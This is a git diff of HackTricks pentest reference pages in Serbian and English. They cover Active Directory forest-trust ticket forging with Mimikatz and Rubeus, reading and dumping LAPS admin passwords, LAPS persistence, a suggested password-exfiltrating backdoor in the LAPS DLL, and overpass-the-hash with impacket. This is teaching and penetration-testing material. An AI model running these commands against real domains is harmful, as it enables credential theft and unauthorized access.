Možete takođe zloupotrebiti [**SID History**](sid-history-injection.md) preko šume poverenja.
|
||||
|
||||
Ako se korisnik migrira **iz jednog šuma u drugi** i **SID filtriranje nije omogućeno**, postaje moguće **dodati SID iz drugog šuma**, i ovaj **SID** će biti **dodat** u **korisnikov token** prilikom autentifikacije **preko poverenja**.
|
||||
Ako je korisnik migriran **iz jedne šume u drugu** i **SID filtriranje nije omogućeno**, postaje moguće **dodati SID iz druge šume**, i ovaj **SID** će biti **dodato** u **token korisnika** prilikom autentifikacije **preko poverenja**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Kao podsetnik, možete dobiti ključ za potpisivanje sa
|
||||
|
@ -101,7 +104,7 @@ Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
Možete **potpisati** **pouzdanim** ključem **TGT impersonating** korisnika trenutne domene.
|
||||
Možete **potpisati** sa **pouzdanom** ključem **TGT koji se pretvara** u korisnika trenutnog domena.
|
||||
```bash
|
||||
# Get a TGT for the cross-domain privileged user to the other domain
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'
|
||||
|
@ -112,19 +115,7 @@ Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /d
|
|||
|
||||
# Now you have a TGS to access the CIFS service of the domain controller
|
||||
```
|
||||
### Potpuno preuzimanje identiteta korisnika
|
||||
|
||||
U ovom scenariju, napadač ima potpunu kontrolu nad korisnikovim nalogom i može se predstavljati kao taj korisnik. Ovo omogućava napadaču da pristupi svim resursima i privilegijama koje korisnik ima.
|
||||
|
||||
Da biste izvršili ovu tehniku, pratite sledeće korake:
|
||||
|
||||
1. Napadač preuzima korisnikovu lozinku ili koristi tehnike kao što su "phishing" ili "password spraying" da bi je otkrio.
|
||||
2. Napadač se prijavljuje na sistem koristeći korisnikove legitimne kredencijale.
|
||||
3. Nakon prijave, napadač ima potpunu kontrolu nad korisnikovim nalogom i može izvršavati sve radnje koje korisnik može.
|
||||
4. Napadač može pristupiti svim resursima koji su dostupni korisniku, uključujući fajlove, mrežne resurse i privilegije.
|
||||
5. Napadač može izvršavati bilo koje akcije u ime korisnika, uključujući slanje e-pošte, pristupanje aplikacijama i manipulaciju podacima.
|
||||
|
||||
Važno je napomenuti da je ova tehnika ilegalna i da se koristi samo u okviru etičkog hakovanja ili testiranja bezbednosti sistema uz dozvolu vlasnika sistema.
|
||||
### Potpuni način imitiranja korisnika
|
||||
```bash
|
||||
# Get a TGT of the user with cross-domain permissions
|
||||
Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap
|
||||
|
@ -138,14 +129,17 @@ Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /d
|
|||
|
||||
# Now you have a TGS to access the CIFS service of the domain controller
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,27 +1,33 @@
|
|||
# Kerberos autentifikacija
|
||||
# Kerberos Authentication
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Proverite neverovatan post sa:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
|
||||
**Proverite neverovatni post sa:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,29 +1,32 @@
|
|||
# LAPS
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Osnovne informacije
|
||||
## Basic Information
|
||||
|
||||
Local Administrator Password Solution (LAPS) je alat koji se koristi za upravljanje sistemom gde se **administrator lozinke**, koje su **jedinstvene, slučajno generisane i često menjane**, primenjuju na računare pridružene domenu. Ove lozinke se čuvaju bezbedno unutar Active Directory-ja i pristup imaju samo korisnici kojima je dozvoljen pristup putem Access Control Lists (ACLs). Bezbednost prenosa lozinke sa klijenta na server je obezbeđena korišćenjem **Kerberos verzije 5** i **Advanced Encryption Standard (AES)**.
|
||||
Rešenje za lozinke lokalnog administratora (LAPS) je alat koji se koristi za upravljanje sistemom gde se **lozinke administratora**, koje su **jedinstvene, nasumične i često menjane**, primenjuju na računare povezane sa domenom. Ove lozinke se sigurno čuvaju unutar Active Directory-a i dostupne su samo korisnicima kojima je odobrena dozvola putem lista za kontrolu pristupa (ACL). Bezbednost prenosa lozinki od klijenta do servera obezbeđena je korišćenjem **Kerberos verzije 5** i **Naprednog standarda za enkripciju (AES)**.
|
||||
|
||||
U objektima računara domena, implementacija LAPS-a rezultira dodavanjem dva nova atributa: **`ms-mcs-AdmPwd`** i **`ms-mcs-AdmPwdExpirationTime`**. Ovi atributi čuvaju **plain-text administrator lozinku** i **vreme njenog isteka**, redom.
|
||||
U objektima računara domena, implementacija LAPS-a rezultira dodavanjem dva nova atributa: **`ms-mcs-AdmPwd`** i **`ms-mcs-AdmPwdExpirationTime`**. Ovi atributi čuvaju **lozinku administratora u običnom tekstu** i **vreme isteka**, redom.
|
||||
|
||||
### Proverite da li je aktiviran
|
||||
### Check if activated
|
||||
```bash
|
||||
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
|
||||
|
||||
|
@ -36,11 +39,11 @@ Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name,
|
|||
# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
|
||||
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname
|
||||
```
|
||||
### Pristup lozinki LAPS
|
||||
### LAPS Password Access
|
||||
|
||||
Mogli biste **preuzeti sirovu LAPS politiku** sa `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` a zatim koristiti **`Parse-PolFile`** iz paketa [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) koji se može koristiti za konvertovanje ovog fajla u ljudski čitljiv format.
|
||||
Možete **preuzeti sirovu LAPS politiku** sa `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` i zatim koristiti **`Parse-PolFile`** iz [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) paketa da konvertujete ovu datoteku u format koji je čitljiv za ljude.
|
||||
|
||||
Osim toga, **nativne LAPS PowerShell cmdlets** mogu se koristiti ako su instalirani na mašini do koje imamo pristup:
|
||||
Pored toga, **nativni LAPS PowerShell cmdleti** mogu se koristiti ako su instalirani na mašini kojoj imamo pristup:
|
||||
```powershell
|
||||
Get-Command *AdmPwd*
|
||||
|
||||
|
@ -61,7 +64,7 @@ Find-AdmPwdExtendedRights -Identity Workstations | fl
|
|||
# Read the password
|
||||
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
|
||||
```
|
||||
**PowerView** takođe može biti korišćen da sazna **ko može pročitati lozinku i pročita je**:
|
||||
**PowerView** se takođe može koristiti za otkrivanje **ko može da pročita lozinku i pročita je**:
|
||||
```powershell
|
||||
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
|
||||
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
|
||||
|
@ -71,7 +74,9 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
|
|||
```
|
||||
### LAPSToolkit
|
||||
|
||||
[LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) olakšava enumeraciju LAPS-a sa nekoliko funkcija. Jedna od njih je parsiranje **`ExtendedRights`** za **sve računare sa omogućenim LAPS-om**. Ovo će prikazati **grupe** koje su specifično **delegirane za čitanje LAPS lozinki**, koje su često korisnici u zaštićenim grupama. **Nalog** koji je **pridružio računar** domenu dobija `Sva proširena prava` nad tim računarom, a ovo pravo daje **nalogu** mogućnost da **čita lozinke**. Enumeracija može pokazati korisnički nalog koji može čitati LAPS lozinku na računaru. Ovo nam može pomoći da **ciljamo određene AD korisnike** koji mogu čitati LAPS lozinke.
|
||||
The [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) olakšava enumeraciju LAPS-a sa nekoliko funkcija.\
|
||||
Jedna od njih je parsiranje **`ExtendedRights`** za **sve računare sa omogućenim LAPS-om.** Ovo će prikazati **grupe** specifično **delegirane za čitanje LAPS lozinki**, koje su često korisnici u zaštićenim grupama.\
|
||||
**Nalog** koji je **pridružen računaru** u domeni dobija `All Extended Rights` nad tim hostom, a ovo pravo daje **nalogu** mogućnost da **čita lozinke**. Enumeracija može prikazati korisnički nalog koji može da čita LAPS lozinku na hostu. Ovo može pomoći da **ciljamo specifične AD korisnike** koji mogu čitati LAPS lozinke.
|
||||
```powershell
|
||||
# Get groups that can read passwords
|
||||
Find-LAPSDelegatedGroups
|
||||
|
@ -95,16 +100,18 @@ ComputerName Password Expiration
|
|||
------------ -------- ----------
|
||||
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
|
||||
```
|
||||
## **Izbacivanje LAPS lozinki pomoću Crackmapexec-a**
|
||||
Ako nemate pristup powershell-u, možete zloupotrebiti ovu privilegiju udaljeno putem LDAP-a korišćenjem
|
||||
## **Dumping LAPS Passwords With Crackmapexec**
|
||||
Ako nema pristupa powershell-u, možete zloupotrebiti ovu privilegiju daljinski putem LDAP-a koristeći
|
||||
```
|
||||
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
|
||||
```
|
||||
Ovo će izlistati sve lozinke koje korisnik može da pročita, omogućavajući vam da dobijete bolju poziciju sa različitim korisnikom.
|
||||
|
||||
## **LAPS Persistencija**
|
||||
|
||||
### **Datum isteka**
|
||||
|
||||
Kada ste admin, moguće je **dobiti lozinke** i **sprečiti** mašinu da **ažurira** svoju **lozinku** tako što ćete **postaviti datum isteka u budućnost**.
|
||||
Jednom kada postanete administrator, moguće je **dobiti lozinke** i **sprečiti** mašinu da **ažurira** svoju **lozinku** tako što ćete **postaviti datum isteka u budućnost**.
|
||||
```powershell
|
||||
# Get expiration time
|
||||
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
|
||||
|
@ -114,30 +121,33 @@ Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
|
|||
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Lozinka će se i dalje resetovati ako je **administrator** koristi **`Reset-AdmPwdPassword`** cmdlet; ili ako je omogućeno **Ne dozvoli vreme isteka lozinke duže od onog što je potrebno prema politici** u LAPS GPO.
|
||||
Lozinka će se i dalje resetovati ako **admin** koristi **`Reset-AdmPwdPassword`** cmdlet; ili ako je omogućena opcija **Ne dozvoli vreme isteka lozinke duže od onog što zahteva politika** u LAPS GPO.
|
||||
{% endhint %}
|
||||
|
||||
### Zadnja vrata
|
||||
### Backdoor
|
||||
|
||||
Originalni izvorni kod za LAPS može se pronaći [ovde](https://github.com/GreyCorbel/admpwd), stoga je moguće ubaciti zadnja vrata u kod (unutar metode `Get-AdmPwdPassword` u `Main/AdmPwd.PS/Main.cs` na primer) koja će na neki način **izfiltrirati nove lozinke ili ih negde sačuvati**.
|
||||
Izvorni kod za LAPS se može pronaći [ovde](https://github.com/GreyCorbel/admpwd), stoga je moguće staviti backdoor u kod (unutar `Get-AdmPwdPassword` metode u `Main/AdmPwd.PS/Main.cs`, na primer) koji će na neki način **ekstraktovati nove lozinke ili ih negde skladištiti**.
|
||||
|
||||
Zatim, samo kompajlirajte novi `AdmPwd.PS.dll` i otpremite ga na mašinu u `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` (i promenite vreme modifikacije).
|
||||
|
||||
## Reference
|
||||
## References
|
||||
* [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite vašu **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,27 +1,30 @@
|
|||
# Pređi preko heša/Pređi ključem
|
||||
# Over Pass the Hash/Pass the Key
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Pređi preko heša/Pređi ključem (PTK)
|
||||
## Overpass The Hash/Pass The Key (PTK)
|
||||
|
||||
Napad **Pređi preko heša/Pređi ključem (PTK)** je dizajniran za okruženja gde je tradicionalni NTLM protokol ograničen, a Kerberos autentikacija ima prioritet. Ovaj napad koristi NTLM heš ili AES ključeve korisnika kako bi dobio Kerberos tikete, omogućavajući neovlašćen pristup resursima unutar mreže.
|
||||
Napad **Overpass The Hash/Pass The Key (PTK)** je dizajniran za okruženja gde je tradicionalni NTLM protokol ograničen, a Kerberos autentifikacija ima prioritet. Ovaj napad koristi NTLM hash ili AES ključeve korisnika da bi zatražio Kerberos karte, omogućavajući neovlašćen pristup resursima unutar mreže.
|
||||
|
||||
Za izvođenje ovog napada, početni korak uključuje dobijanje NTLM heša ili lozinke ciljanog korisničkog naloga. Nakon što se obezbedi ova informacija, može se dobiti Ticket Granting Ticket (TGT) za nalog, omogućavajući napadaču pristup servisima ili mašinama do kojih korisnik ima dozvole.
|
||||
Da bi se izvršio ovaj napad, prvi korak uključuje sticanje NTLM hasha ili lozinke ciljanog korisničkog naloga. Nakon obezbeđivanja ovih informacija, može se dobiti Ticket Granting Ticket (TGT) za nalog, što napadaču omogućava pristup uslugama ili mašinama kojima korisnik ima dozvole.
|
||||
|
||||
Proces se može pokrenuti sledećim komandama:
|
||||
```bash
|
||||
|
@ -29,18 +32,18 @@ python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2
|
|||
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
|
||||
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
|
||||
```
|
||||
Za scenarije koji zahtevaju AES256, opcija `-aesKey [AES ključ]` može se koristiti. Osim toga, dobijeni tiket može se koristiti sa različitim alatima, uključujući smbexec.py ili wmiexec.py, proširujući opseg napada.
|
||||
Za scenarije koji zahtevaju AES256, opcija `-aesKey [AES key]` može se koristiti. Pored toga, dobijena karta može se koristiti sa raznim alatima, uključujući smbexec.py ili wmiexec.py, proširujući opseg napada.
|
||||
|
||||
